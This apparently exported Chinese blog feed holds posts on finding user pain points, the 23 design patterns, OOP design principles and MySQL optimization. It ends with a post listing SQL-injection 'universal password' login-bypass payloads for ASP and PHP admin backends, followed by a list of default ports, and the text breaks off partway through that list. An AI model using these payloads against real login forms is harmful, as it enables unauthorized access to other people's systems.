        <content type="html"><![CDATA[<h1 id="你如何理解用户痛点"><a href="#你如何理解用户痛点" class="headerlink" title="你如何理解用户痛点"></a>你如何理解用户痛点</h1><h3 id="什么是用户“痛点”"><a href="#什么是用户“痛点”" class="headerlink" title="什么是用户“痛点”"></a>什么是用户“痛点”</h3><p><img src="https://www.funtl.com/assets/QQ20150819154634.jpg" alt=""></p><p><strong>写在前面：</strong><br>本文讲的“痛点”，就是指让目标用户付出某种行动的最大阻碍。</p><p>比如在美图秀秀之前，大部分图像处理软件（比如 PS）都专注于提高处理图像的性能，这个时候，让用户使用图像处理软件的最大阻碍是什么呢？</p><p>我想可能并不是图像处理的性能——对大多数人来说，PS 的性能已经足够好</p><p><strong>这时，让用户使用图像处理软件最大的阻碍可能是易用性，因此“易用性”可能就是痛点，而抓住这一痛点，专注于提高易用性的美图秀秀就取得了初期成功。</strong></p><p>好了，那么如何像当初的美图秀秀一样发现用户的痛点呢？</p><p><strong>其实，只要你具备了基础信息，画一张图就够了。</strong></p><p><strong>首先，画一个横向的箭头，把用户使用图像处理软件的全过程：</strong><br><img src="https://www.funtl.com/assets/QQ20150819154645.jpg" alt=""></p><p>上面应该是一个正常用户使用图像处理软件的全部过程：先下载，然后学会怎么用，然后使用它做图片。</p><p><strong>然后，你需要找出在每个阶段，影响用户行为的关键因素有哪些？</strong></p><p><img src="https://www.funtl.com/assets/QQ20150819154656.jpg" alt=""></p><p>一般来说，可能影响用户行为的因素有：</p><ul><li><strong>性能/效用</strong>： 这东西能不能达到我想要的效果？</li><li><strong>形象</strong>： 是不是符合我个人形象的？</li><li><strong>可靠</strong>： 是 否存在风险？是否用起来不稳定？</li><li><strong>容易</strong>： 做出该行为是否很容易、不需要思考？</li><li><strong>价格</strong>： 做出该行为花钱多不多？</li></ul><p><strong>接着，你先把过去市场上产品聚焦点描成“橙色”：</strong><br><img src="https://www.funtl.com/assets/QQ20150819154835.jpg" alt=""></p><p>如果具备行业的了解，你就会发现：过去，以 PS 为主的图像处理软件专注于提高性能和可靠性，同时能够帮助它的使用者塑造“专家”的积极形象。</p><p>这个时候，你就需要问自己这样一个问题：</p><blockquote><p>在图中的15块方格内，阻碍用户的最大因素是什么？（也就是痛点）</p></blockquote><p>你就会发现：下载、学习和使用 3 个过程都不够容易，而且在下载过程，往往需要付出价格。</p><p><strong>然后，你就可以定位用户痛点了：</strong><br><img src="https://www.funtl.com/assets/QQ20150819154845.jpg" alt=""></p><p><strong>为什么我们需要不停地寻找痛点？</strong></p><p><strong>因为用户需求和行业都在不断变化，过去被所有人“想当然”认为是痛点的属性，很快可能就不再是痛点，而这时在大多数厂商一窝蜂聚焦于“曾经的痛点”时，你挖掘了新痛点，就可能逆流而上。</strong></p><p>大多数人的思维是“基于原有的问题，我的解决方案是对的吗？”——“如何比别人更好地提高性能？”</p><p>而“寻找痛点”则是考虑“我是否提出了正确的问题？”——“提高性能是不是一个好问题？如果不是，应该问什么新问题？”</p><p><strong>所以，寻找用户痛点的过程，往往意味着“提出新的问题”，而不是“原有问题提出正确的解决方案。”</strong></p><p>如何寻找？你可以用上面讲过的方法，画出用户的整张“痛点定位图”，寻找对用户的最大障碍来源。</p><h1 id="纵向寻找"><a href="#纵向寻找" class="headerlink" title="纵向寻找"></a>纵向寻找</h1><p><strong>在同一个过程中，纵向寻找阻碍用户的最大因素。</strong></p><p>比如过去的胰岛素（病人买回家自己注射，用来治疗糖尿病）市场，大部分公司的聚焦点在于使用过程中的“性能”和“风险”，致力于研发更高纯度、更高稳定性的胰岛素产品。</p><p>这在过去是合理的，因为比起纯度 10% 的胰岛素，纯度 50% 的胰岛素显然更能解决病人问题。</p><p>但是随着大部分知名品牌胰岛素纯度都提高到 99% 以上，继续提高 0.1 个百分点的纯度虽然耗费巨额资金，但是对消费者的使用却影响甚微。</p><p>这个时候，同类品牌都加入了胰岛素纯度的竞争（类似现在手机轻薄、屏幕等竞争），而 Novo Nordisk 却重新问自己这个问题：</p><p>然后它发现其实并不是“性能”和“风险”，而是“形象”和“容易程度”。</p><ul><li><strong>形象</strong>： 胰岛素消费者其实都不想让别人知道他们是糖尿病。</li><li><strong>容易</strong>： 过去的注射器非常麻烦，需要提前消毒并且注射。</li></ul><p><strong>所以他们转变了战略的聚焦点，不再花费大量精力提高纯度和稳定性，而是帮助消费者提升形象和容易程度。</strong><br><img src="https://www.funtl.com/assets/QQ20150819154856.jpg" alt=""></p><p>最终，他们研发出了这种“笔形”的胰岛素，不容易被识别，帮患者遮盖了“糖尿病人”的形象，同时不需要用针注射，提高了使用的容易程度。</p><p>所以，纵向寻找痛点，你需要先找出影响某个环节的全部因素，然后看哪个因素是消费者现在的最大阻碍。</p><h1 id="横向寻找"><a href="#横向寻找" class="headerlink" title="横向寻找"></a>横向寻找</h1><p><strong>你还可以横向寻找：如果所有的竞争者都在关注用户的“使用”阶段，那么我可能应该看看其他阶段有没有痛点机会。</strong></p><p>比如汽车行业，用户前后经过了购买、使用、修理、抛弃（转售）这几个环节。</p><p>而在大众甲壳虫之前，欧洲所有的汽车公司几乎都聚焦于用户的“使用环节”。为用户造出性能越来越好、也越来越让人有面子的汽车。</p><p>而甲壳虫却发现：这并不是当时对用户的最大障碍。因此适当降低了在使用阶段“效用”和“形象”上的投入，转而优化所有阶段的容易程度，同时提高使用阶段的适用性（适应更多的路面情况）。</p><p>因此大众造出的甲壳虫外观常年不变，也不能让开车的人更有面子，但是容易买到（销售渠道）、容易驾驶、维修方便（因为使用了标准化配件）同时容易转售（因为样子常年不变）。</p><p>再比如，70 年代在美国主打性价比的汽车品牌，在痛点定位图上是这样的：</p><p>这个时候如果问：<strong>价格敏感用户的最大阻碍是什么？</strong></p><p>就会发现这个关键阻碍并不发生在“购买阶段”，而是发生在“使用阶段”——因为石油危机，不论买的车多便宜，高昂的油价让人“买得起开不起”。</p><p>所以，主打省油的日系车大举进入美国市场，大获成功。</p><p>所以，寻找痛点时，可以问自己：<strong>消费者用我的产品分为哪几个阶段？现在哪个阶段是他们的关键障碍？</strong></p><p>比如过去中国的手机市场是渠道为王，手机厂商几乎一半的利润分给了渠道商。通过大量的渠道，手机厂商提供了购买的便利性：</p><blockquote><p>“消费者随时随地都能买到手机，可以拿在手上一一比较，而且可以当场买走，不用等待。”</p></blockquote><p>那么同样是1000-2000价位的手机，消费者的主要障碍发生在什么阶段呢？</p><p>其实很容易发现，<strong>主要障碍发生在使用阶段（2000的手机性能太差），而不是购买阶段（想要很便利地买到）。</strong></p><p>所以这就是最初的小米手机，大部分厂商努力的重点在渠道（“购买阶段”），小米的努力重点在产品性能（“使用阶段”）。</p><p><strong>不光可以用于寻找产品痛点，还可以用于文案痛点</strong></p><p>比如肯德基搞过一个在线优惠活动，文案如下：</p><p>如何分析这个广告呢？</p><p><strong>首先我们先列出消费的行动过程：先看到文案，然后参加活动。</strong></p><p><strong>然后找出每个阶段的主要驱动因素，比如：有兴趣、很容易做到等。</strong></p><p>就会发现这个文案的聚焦点在于：提高活动的吸引力，让人产生兴趣（比如足够的优惠）。</p><p><strong>但是如果问：现在限制消费者参加活动的关键因素是什么？</strong></p><p>答案应该是：整个过程太复杂，不够容易。</p><p><strong>这就意味着：刺激人参加活动，痛点应该是“降低复杂性”，如果不降低复杂性，一味提高奖励可能也没有作用。</strong></p><p>灵活运用方法，还可以换一种方式，分析文案的有效性。</p><p><strong>比如这个公益广告文案“真正的男人，不需要海豹鞭”。</strong></p><p>首先，我们先看人认知这一广告信息的过程：</p><ul><li><strong>注意：</strong> 注意到这个信息，激发了头脑的相关联想。比如看到“壮阳”联想到“性”等印象。</li><li><strong>理解：</strong> 理解这个信息的意思。</li><li><strong>信服：</strong> 信服刚刚所理解的信息。</li><li><strong>刺激行动：</strong> 因为信任这个信息而改变了行动。</li></ul><p>然后我们在纵向写上广告想要让人接受的信息。</p><p>比如“真正的男人不需要海豹鞭”实际上包含 2 层信息：</p><ul><li>海豹鞭被认为可以壮阳</li><li>吃海豹鞭的不是真男人</li></ul><p>然后把这个广告产生的所有影响涂成橙色，就会发现是这样的：</p><p>用海豹鞭不是真男人”这个信息缺乏说服力，基本上只是引起了注意并且让人理解。</p><p><strong>然而，通过隐含“海豹鞭被认为可以壮阳”这个信息，让很多本来没听说过海豹鞭的人，第一次知道了海豹鞭可以壮阳，并且更加信服</strong>（否则怎么会打广告说不要吃呢）。</p><p>所以，这个文案很可能会起到反面效果——为海豹鞭打了广告。</p><p>毕竟，如果是海豹鞭销售公司的广告文案，估计也可以这么写：</p><p>》真正的男人不需要海豹鞭 但，如果你没有他们那么强 请联系我们购买：XXXX.com</p><p>这也是为什么自杀相关的新闻曝光后，自杀的人会变多。</p><p>总之，既然文案是为了改变用户的行为，那么设计文案的时候也要分析：</p><p><strong>限制用户改变行为的关键障碍是什么？</strong></p><h1 id="改变用户的某个习惯"><a href="#改变用户的某个习惯" class="headerlink" title="改变用户的某个习惯"></a>改变用户的某个习惯</h1><p>除了产品设计、文案设计，其实几乎任何一种涉及改变的活动，都需要分析痛点，找到影响对方的关键障碍。</p><p>比如假设你想帮助人戒烟，那么首先列出吸烟的全部过程：</p><p>然后列出每个过程对应的影响因素，比如：</p><ul><li><strong>效用：</strong> 给人带来正面体验</li><li><strong>形象：</strong> 提升形象</li><li><strong>风险：</strong> 是否有风险</li><li><strong>容易：</strong> 过程是否容易做</li><li><strong>价格：</strong> 是否需要花费很大成本</li></ul><p>找到了这个矩阵，你就会发现过去几乎所有的戒烟干预方式，都聚焦于“吸烟”这个过程，而且是“吸烟”的风险这个过程：</p><p>（强调：吸烟有害健康）</p><p>比如这个创意广告：</p><p>而其实可以有效干预的痛点有很多：</p><p>比如降低送烟的形象，想办法让送烟变成一种丢脸的行为。</p><p>比如降低吸烟的效用，让大众相信吸烟其实并不会提高注意力，等。</p><p><strong>甚至，构思这篇文章本身，李叫兽也在定位痛点：</strong></p><p>我的目标是让读者更多地学会如何定位用户的痛点。</p><p><strong>首先，我列出了定位用户痛点的过程：</strong><br>收集信息、了解哪些感受可以改变行为（心理学理论）、综合利用信息和理论。</p><p><strong>然后每个过程，都需要让读者“想要”这样做，并且“容易”做到（讲技巧）</strong></p><p>最终，我发现读者看文章只有 3 分钟时间，不可能把所有的心理学理论概括清楚，也讲不完用户调查方法。而且发现大部分人的关键问题并不是信息或者知识太少，而是没有巧妙地利用这些知识。</p><p><strong>所以把这篇文章解决的痛点定位成了最右下角的一部分：</strong></p><h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>很多人没有找到用户的痛点，并不是因为欠缺信息（比如不知道用户怎么想的），而是没有有效地利用已有信息。</p><p>而如果你重新思考自己已经知道的，分析用户的每个动作过程，就会发现：痛点更容易找到！</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>23种设计模式的设计理念</title>
      <link href="/2018/12/17/23-chong-she-ji-mo-shi-de-she-ji-li-nian/"/>
      <url>/2018/12/17/23-chong-she-ji-mo-shi-de-she-ji-li-nian/</url>
      
        <content type="html"><![CDATA[<h1 id="23-种设计模式的设计理念"><a href="#23-种设计模式的设计理念" class="headerlink" title="23 种设计模式的设计理念"></a>23 种设计模式的设计理念</h1><h3 id="什么是设计模式"><a href="#什么是设计模式" class="headerlink" title="什么是设计模式"></a>什么是设计模式</h3><p>设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。简单说：</p><ul><li>模式：在某些场景下，针对某类问题的某种通用的解决方案</li><li>场景：项目所在的环境</li><li>问题：约束条件，项目目标等</li><li>解决方案：通用、可复用的设计，解决约束达到目标<h3 id="设计模式的三个分类"><a href="#设计模式的三个分类" class="headerlink" title="设计模式的三个分类"></a>设计模式的三个分类</h3></li><li>创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程。</li><li>结构型模式：把类或对象结合在一起形成一个更大的结构。</li><li>行为型模式：类和对象如何交互，及划分责任和算法。<h1 id="各分类中模式的关键点"><a href="#各分类中模式的关键点" class="headerlink" title="各分类中模式的关键点"></a>各分类中模式的关键点</h1><h3 id="创建型模式"><a href="#创建型模式" class="headerlink" title="创建型模式"></a>创建型模式</h3></li><li>单例模式：某个类只能有一个实例，提供一个全局的访问点。</li><li>简单工厂：一个工厂类根据传入的参量决定创建出那一种产品类的实例。</li><li>工厂方法：定义一个创建对象的接口，让子类决定实例化那个类。</li><li>抽象工厂：创建相关或依赖对象的家族，而无需明确指定具体类。</li><li>建造者模式：封装一个复杂对象的构建过程，并可以按步骤构造。</li><li>原型模式：通过复制现有的实例来创建新的实例。<h3 id="结构型模式"><a href="#结构型模式" class="headerlink" title="结构型模式"></a>结构型模式</h3></li><li>适配器模式：将一个类的方法接口转换成客户希望的另外一个接口。</li><li>组合模式：将对象组合成树形结构以表示“”部分-整体“”的层次结构。</li><li>装饰模式：动态的给对象添加新的功能。</li><li>代理模式：为其他对象提供一个代理以便控制这个对象的访问。</li><li>亨元（蝇量）模式：通过共享技术来有效的支持大量细粒度的对象。</li><li>外观模式：对外提供一个统一的方法，来访问子系统中的一群接口。</li><li>桥接模式：将抽象部分和它的实现部分分离，使它们都可以独立的变化。<h3 id="行为型模式"><a href="#行为型模式" class="headerlink" title="行为型模式"></a>行为型模式</h3></li><li>模板模式：定义一个算法结构，而将一些步骤延迟到子类实现。</li><li>解释器模式：给定一个语言，定义它的文法的一种表示，并定义一个解释器。</li><li>策略模式：定义一系列算法，把他们封装起来，并且使它们可以相互替换。</li><li>状态模式：允许一个对象在其对象内部状态改变时改变它的行为。</li><li>观察者模式：对象间的一对多的依赖关系。</li><li>备忘录模式：在不破坏封装的前提下，保持对象的内部状态。</li><li>中介者模式：用一个中介对象来封装一系列的对象交互。</li><li>命令模式：将命令请求封装为一个对象，使得可以用不同的请求来进行参数化。</li><li>访问者模式：在不改变数据结构的前提下，增加作用于一组对象元素的新功能。</li><li>责任链模式：将请求的发送者和接收者解耦，使的多个对象都有处理这个请求的机会。</li><li>迭代器模式：一种遍历访问聚合对象中各个元素的方法，不暴露该对象的内部结构。</li></ul>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 23种设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>谈谈我对设计原则的理解</title>
      <link href="/2018/12/11/tan-tan-wo-dui-she-ji-yuan-ze-de-li-jie/"/>
      <url>/2018/12/11/tan-tan-wo-dui-she-ji-yuan-ze-de-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="说说你对设计原则的理解"><a href="#说说你对设计原则的理解" class="headerlink" title="说说你对设计原则的理解"></a>说说你对设计原则的理解</h1><h3 id="口诀"><a href="#口诀" class="headerlink" title="口诀"></a>口诀</h3><p>为了便于记忆，我们可以使用一个口诀来记忆面向对象设计原则：<strong>开口合里最单依</strong></p><ul><li>开：开闭原则</li><li>口：接口隔离原则</li><li>合：组合/聚合原则</li><li>里：里式替换原则</li><li>最：最少知识原则（迪米特法则）</li><li>单：单一职责原则</li><li>依：依赖倒置原则</li></ul><h3 id="开闭原则-Open-Closed-Principle-OCP"><a href="#开闭原则-Open-Closed-Principle-OCP" class="headerlink" title="开闭原则(Open-Closed Principle, OCP)"></a>开闭原则(Open-Closed Principle, OCP)</h3><p>一个软件实体应当对扩展开发,对修改关闭.说的是,再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展.换言之,应当可以在不必修改源代码的情况下改变这个模块的行为，在保持系统一定稳定性的基础上，对系统进行扩展。这是面向对象设计（OOD）的基石，也是最重要的原则。</p><h3 id="接口隔离原则-Interface-Segregation-Principle-ISP"><a href="#接口隔离原则-Interface-Segregation-Principle-ISP" class="headerlink" title="接口隔离原则(Interface Segregation Principle, ISP)"></a>接口隔离原则(Interface Segregation Principle, ISP)</h3><p>一个类对另外一个类的依赖是建立在最小的接口上。<br>使用多个专门的接口比使用单一的总接口要好.根据客户需要的不同,而为不同的客户端提供不同的服务是一种应当得到鼓励的做法.就像”看人下菜碟”一样,要看客人是谁,再提供不同档次的饭菜.<br>胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系.当一个客户程序要求该胖接口进行一个改动时,会影响到所有其他的客户程序.因此客户程序应该仅仅依赖他们实际需要调用的方法.</p><h3 id="组合-聚合复用原则-Composite-Aggregate-Reuse-Principle，CARP"><a href="#组合-聚合复用原则-Composite-Aggregate-Reuse-Principle，CARP" class="headerlink" title="组合/聚合复用原则(Composite/Aggregate Reuse Principle，CARP)"></a>组合/聚合复用原则(Composite/Aggregate Reuse Principle，CARP)</h3><p>在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.</p><p>#里氏代换原则(Liskov Substitution Principle，LSP)<br>由 Barbar Liskov (芭芭拉.里氏) 提出，是继承复用的基石。</p><p>所有引用基类的地方必须透明的使用其子类的对象。只要父类能出现的地方子类也可以出现，而且替换为子类不会产生任何错误或异常，但是反过来就不行，有子类出现的地方，父类未必就能适应。</p><h3 id="最少知识原则-Least-Knowledge-Principle，LKP"><a href="#最少知识原则-Least-Knowledge-Principle，LKP" class="headerlink" title="最少知识原则(Least Knowledge Principle，LKP)"></a>最少知识原则(Least Knowledge Principle，LKP)</h3><p>一个对象应当对其他对象有尽可能少的了解.</p><p>没有任何一个其他的 OO 设计原则象迪米特法则这样有如此之多的表述方式,如下几种：</p><ul><li>只与你直接的朋友们通信(Only talk to your immediate friends)</li><li>不要跟”陌生人”说话(Don’t talk to strangers)</li><li>每一个软件单位对其他的单位都只有最少的知识,而且局限于那些本单位密切相关的软件单位<br>就是说,如果两个类不必彼此直接通信,那么这两个类就不应当发生直接的相互作用,如果其中的一个类需要调用另一个类的某一个方法的话,可以通过第三者转发这个调用。</li></ul><h3 id="单一职责原则-Simple-responsibility-pinciple，SRP"><a href="#单一职责原则-Simple-responsibility-pinciple，SRP" class="headerlink" title="单一职责原则(Simple responsibility pinciple，SRP)"></a>单一职责原则(Simple responsibility pinciple，SRP)</h3><p>就一个类而言,应该仅有一个引起它变化的原因,如果你能想到多于一个的动机去改变一个类,那么这个类就具有多于一个的职责.应该把多于的指责分离出去,分别再创建一些类来完成每一个职责.</p><h3 id="依赖倒置原则-Dependence-Inversion-Principle"><a href="#依赖倒置原则-Dependence-Inversion-Principle" class="headerlink" title="依赖倒置原则(Dependence Inversion Principle)"></a>依赖倒置原则(Dependence Inversion Principle)</h3><p>要求客户端依赖于抽象耦合.</p><ul><li>模块间的依赖通过抽象发生，实现类之间不发生直接的依赖关系，其依赖关系是通过接口或抽象类产生的。</li><li>接口或抽象类不依赖实现类</li><li>实现类依赖接口或抽象类</li></ul><p>采用依赖倒置原则可以减少类间的耦合性，提高系统的稳定，降低并行开发引起的风险，提高代码的可读性和可维护性。</p>]]></content>
      
      
      <categories>
          
          <category> 设计原则 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
            <tag> 设计原则 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL优化</title>
      <link href="/2018/12/02/mysql-you-hua/"/>
      <url>/2018/12/02/mysql-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-优化"><a href="#MySQL-优化" class="headerlink" title="MySQL 优化"></a>MySQL 优化</h1><ul><li>表关联查询时务必遵循 <strong>小表驱动大表</strong> 原则；</li><li>使用查询语句 <code>where</code> 条件时，不允许出现 <strong>函数</strong>，否则索引会失效；</li><li>使用单表查询时，相同字段尽量不要用 OR，因为可能导致索引失效，比如：<code>SELECT * FROM table WHERE name = &#39;手机&#39; OR name = &#39;电脑&#39;</code>，可以使用 <code>UNION</code>替代；</li><li><code>LIKE</code> 语句不允许使用 <code>%</code> 开头，否则索引会失效；</li><li>组合索引一定要遵循 <strong>从左到右</strong> 原则，否则索引会失效；比如：<code>SELECT * FROM table WHERE name = &#39;张三&#39; AND age = 18</code>，那么该组合索引必须是 <code>name,age</code> 形式；</li><li>索引不宜过多，根据实际情况决定，尽量不要超过 10 个；</li><li>每张表都必须有 <strong>主键</strong>，达到加快查询效率的目的；</li><li>分表，可根据业务字段尾数中的个位或十位或百位（以此类推）做表名达到分表的目的；</li><li>分库，可根据业务字段尾数中的个位或十位或百位（以此类推）做库名达到分库的目的；</li><li>表分区，类似于硬盘分区，可以将某个时间段的数据放在分区里，加快查询速度，可以配合 分表 + 表分区 结合使用；<h1 id="神器-EXPLAIN-语句"><a href="#神器-EXPLAIN-语句" class="headerlink" title="神器 EXPLAIN 语句"></a>神器 <code>EXPLAIN</code> 语句</h1></li></ul><p><code>EXPLAIN</code> 显示了 MySQL 如何使用索引来处理 <code>SELECT</code> 语句以及连接表。可以帮助选择更好的索引和写出更优化的查询语句。</p><p>使用方法，在<code>SELECT</code> 语句前加上 <code>EXPLAIN</code> 即可，如：</p><blockquote><p>EXPLAIN SELECT * FROM tb_item WHERE cid IN (SELECT id FROM tb_item_cat)</p></blockquote><p><img src="https://www.funtl.com/assets1/Lusifer_20190210233927.png" alt=""></p><ul><li><p>id： SELECT 识别符。这是 SELECT 的查询序列号</p></li><li><p>select_type： SELECT类型,可以为以下任何一种</p><ul><li>SIMPLE: 简单 SELECT(不使用 UNION 或子查询)</li><li>PRIMARY: 最外面的 SELECT<ul><li>UNION: UNION 中的第二个或后面的 SELECT 语句</li></ul></li><li>DEPENDENT UNION: UNION 中的第二个或后面的 SELECT 语句,取决于外面的查询</li><li>UNION RESULT: UNION 的结果</li><li>SUBQUERY: 子查询中的第一个 SELECT</li><li>DEPENDENT SUBQUERY: 子查询中的第一个 SELECT,取决于外面的查询</li><li>DERIVED: 导出表的 SELECT(FROM 子句的子查询)</li></ul></li><li><p>table： 输出的行所引用的表</p></li><li><p>partitions： 表分区</p></li><li><p>type： 联接类型。下面给出各种联接类型，按照 <strong>从最佳类型到最坏类型</strong> 进行排序</p><ul><li>system: 表仅有一行(=系统表)。这是 const 联接类型的一个特例。</li><li>const: 表最多有一个匹配行,它将在查询开始时被读取。因为仅有一行,在这行的列值可被优化器剩余部分认为是常数。const 表很快,因为它们只读取一次!</li><li>eq_ref: 对于每个来自于前面的表的行组合, 从该表中读取一行。这可能是最好的联接类型, 除了 const 类型。</li><li>ref: 对于每个来自于前面的表的行组合, 所有有匹配索引值的行将从这张表中读取。</li><li>ref_or_null: 该联接类型如同 ref,但是添加了 MySQL 可以专门搜索包含 NULL 值的行。</li><li>index_merge: 该联接类型表示使用了索引合并优化方法。</li><li>unique_subquery: 该类型替换了下面形式的 IN 子查询的 ref: <code>value IN (SELECT primary_key FROM single_table WHERE some_expr)</code> unique_subquery 是一个索引查找函数, 可以完全替换子查询, 效率更高。</li><li>index_subquery: 该联接类型类似于 unique_subquery。可以替换 IN 子查询, 但只适合下列形式的子查询中的非唯一索引: value IN (SELECT key_column FROM single_table WHERE some_expr)</li><li>range: 只检索给定范围的行,使用一个索引来选择行。</li><li>index: 该联接类型与 ALL 相同,除了只有索引树被扫描。这通常比 ALL 快,因为索引文件通常比数据文件小。</li><li>ALL: 对于每个来自于先前的表的行组合, 进行完整的表扫描。</li></ul></li><li><p>possible_keys： 指出 MySQL 能使用哪个索引在该表中找到行</p></li><li><p>key： 显示 MySQL 实际决定使用的键(索引)。如果没有选择索引, 键是 NULL。</p></li><li><p>key_len： 显示 MySQL 决定使用的键长度。如果键是 NULL, 则长度为 NULL。</p></li><li><p>ref： 显示使用哪个列或常数与 key 一起从表中选择行。</p></li><li><p>rows： 显示 MySQL 认为它执行查询时必须检查的行数。多行之间的数据相乘可以估算要处理的行数。</p></li><li><p>filtered： 显示了通过条件过滤出的行数的百分比估计值。</p></li><li><p>Extra： 该列包含 MySQL 解决查询的详细信息</p><ul><li>Distinct: MySQL 发现第 1 个匹配行后,停止为当前的行组合搜索更多的行。</li><li>Not exists: MySQL 能够对查询进行 LEFT JOIN 优化, 发现 1 个匹配 LEFT JOIN 标准的行后, 不再为前面的的行组合在该表内检查更多的行。</li><li>range checked for each record (index map: #): MySQL 没有发现好的可以使用的索引, 但发现如果来自前面的表的列值已知, 可能部分索引可以使用。</li><li>Using filesort: MySQL 需要额外的一次传递, 以找出如何按排序顺序检索行。</li><li>Using index: 从只使用索引树中的信息而不需要进一步搜索读取实际的行来检索表中的列信息。</li><li>Using temporary: 为了解决查询, MySQL 需要创建一个临时表来容纳结果。</li><li>Using where: WHERE 子句用于限制哪一个行匹配下一个表或发送到客户。</li><li>Using sort_union(…), Using union(…), Using intersect(…): 这些函数说明如何为 index_merge 联接类型合并索引扫描。</li><li>Using index for group-by: 类似于访问表的 Using index 方式,Using index for group-by 表示 MySQL 发现了一个索引,可以用来查询 GROUP BY 或 DISTINCT 查询的所有列, 而不要额外搜索硬盘访问实际的表。</li></ul></li></ul>]]></content>
      
      
      <categories>
          
          <category> SQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>后台常用万能密码</title>
      <link href="/2018/11/23/wan-neng-mi-ma/"/>
      <url>/2018/11/23/wan-neng-mi-ma/</url>
      
        <content type="html"><![CDATA[<h1 id="绕过登陆常用万能密码"><a href="#绕过登陆常用万能密码" class="headerlink" title="绕过登陆常用万能密码"></a>绕过登陆常用万能密码</h1><p> 所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。</p><p><strong>分享给大家、、 希望对大家有所帮助！</strong></p><h3 id="asp-aspx万能密码"><a href="#asp-aspx万能密码" class="headerlink" title="asp aspx万能密码"></a>asp aspx万能密码</h3><pre><code>1：&quot;or &quot;a&quot;=&quot;a2：&apos;.).or.(&apos;.a.&apos;=&apos;.a3：or 1=1--4：&apos;or 1=1--5：a&apos;or&apos; 1=1--6：&quot;or 1=1--7：&apos;or.&apos;a.&apos;=&apos;a8：&quot;or&quot;=&quot;a&apos;=&apos;a9：&apos;or&apos;&apos;=&apos;10：&apos;or&apos;=&apos;or&apos;</code></pre><p>admin’or 1=1#</p><h3 id="PHP万能密码"><a href="#PHP万能密码" class="headerlink" title="PHP万能密码"></a>PHP万能密码</h3><p>admin’/*<br>密码<em>/‘<br>‘or 1=1/</em></p><pre><code>&quot;or &quot;a&quot;=&quot;a&quot;or 1=1--&quot;or&quot;=&quot;&quot;or&quot;=&quot;a&apos;=&apos;a&quot;or1=1--&quot;or=or&quot;&apos;&apos;or&apos;=&apos;or&apos;&apos;) or (&apos;a&apos;=&apos;a&apos;.).or.(&apos;.a.&apos;=&apos;.a&apos;or 1=1&apos;or 1=1--&apos;or 1=1/*&apos;or&quot;=&quot;a&apos;=&apos;a&apos;or&apos; &apos;1&apos;=&apos;1&apos;&apos;or&apos;&apos;=&apos;&apos;or&apos;&apos;=&apos;&apos;or&apos;&apos;=&apos;&apos;or&apos;=&apos;1&apos;&apos;or&apos;=&apos;or&apos;&apos;or.&apos;a.&apos;=&apos;a&apos;or1=1--1&apos;or&apos;1&apos;=&apos;1a&apos;or&apos; 1=1--a&apos;or&apos;1=1--or &apos;a&apos;=&apos;a&apos;or 1=1--or1=1--</code></pre><p>通过该工具可以扫描常用的端口和指定的端口是否开放。</p><h3 id="常用端口号："><a href="#常用端口号：" class="headerlink" title="常用端口号："></a>常用端口号：</h3><p>代理服务器常用以下端口：</p><ul><li><p>HTTP协议代理服务器常用端口号：80/8080/3128/8081/9080</p></li><li><p>SOCKS代理协议服务器常用端口号：1080</p></li><li><p>FTP（文件传输）协议代理服务器常用端口号：21</p></li><li><p>Telnet（远程登录）协议代理服务器常用端口：23</p><hr>  HTTP服务器，默认的端口号为80/tcp（木马Executor开放此端口）；<p>  HTTPS（securely transferring web pages）服务器，默认的端口号为443/tcp 443/udp；</p><p>  Telnet（不安全的文本传送），默认端口号为23/tcp（木马Tiny Telnet Server所开放的端口）；</p><p>  FTP，默认的端口号为21/tcp（木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口）；</p><p>  TFTP（Trivial File Transfer Protocol ），默认的端口号为69/udp；</p><p>  SSH（安全登录）、SCP（文件传输）、端口重定向，默认的端口号为22/tcp；</p><p>  SMTP Simple Mail Transfer Protocol (E-mail)，默认的端口号为25/tcp（木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz </p><p>  Stealth、WinPC、WinSpy都开放这个端口）；</p><p>  POP3 Post Office Protocol (E-mail) ，默认的端口号为110/tcp；</p><p>  WebLogic，默认的端口号为7001；</p><p>  Webshpere应用程序，默认的端口号为9080；<br>  webshpere管理工具，默认的端口号为9090；<br>  JBOSS，默认的端口号为8080；</p><p>  TOMCAT，默认的端口号为8080；</p><p>  WIN2003远程登陆，默认的端口号为3389；</p><p>  Symantec AV/Filter for MSE ,默认端口号为 8081；</p><p>  Oracle 数据库，默认的端口号为1521；</p><p>  ORACLE EMCTL，默认的端口号为1158；</p><p>  Oracle XDB（ XML 数据库），默认的端口号为8080；<br>  Oracle XDB </p><p>  FTP服务，默认的端口号为2100；</p><p>  MS SQL<em>SERVER数据库server，默认的端口号为1433/tcp 1433/udp；<br>  